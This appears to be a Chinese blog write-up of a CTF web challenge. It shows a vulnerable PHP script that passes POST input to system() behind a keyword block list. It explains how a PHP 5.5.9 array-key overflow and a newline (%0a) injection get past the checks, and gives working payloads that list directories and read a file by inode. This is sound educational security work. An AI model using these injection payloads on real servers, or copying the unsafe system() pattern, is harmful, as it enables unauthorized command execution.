前言
作者简介:不知名白帽,网络安全学习者。
博客主页:https://blog.csdn.net/m0_63127854?type=blog
攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html
目录
- //php5.5.9
- $stuff = $_POST["stuff"];
- $array = ['admin', 'user'];
- if($stuff === $array && $stuff[0] != 'admin') {
- $num= $_POST["num"];
- if (preg_match("/^\d+$/im",$num)){
- if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
- echo "my favorite num is:";
- system("echo ".$num);
- }else{
- echo 'Bonjour!';
- }
- }
- } else {
- highlight_file(__FILE__);
- }
php的版本是5.5.9
通过post方式传递两个参数:stuff(数组)和num(其中的内容经过过滤之后会被system函数执行)
既要数组强等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根据上面的提示,只能是php5.5.9的版本漏洞了
根据php5.5.9的版本漏洞:
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
我们可以利用PHP的数组下标的一个BUG,可以利用整型溢出:
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
构造payload
$stuff[0]!='admin',我们通过0x100000000(0x100000000转换成十进制4294967296)来进行溢出;进行POST传参
stuff[4294967296]=admin&stuff[]=user&num=123
正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测
^和$ 匹配字符串开头和结尾
/d 匹配数字
/i 表示匹配的时候不区分大小写
/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als
/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i
黑名单,把常用的可以执行的代码命令都排除了
查看根目录下的文件ls /
因为cat被禁用了,所以用inode索引节点,ls -i /
使用`绕过单双引号过滤,读取flag
%0atac `find / -inum 18497049`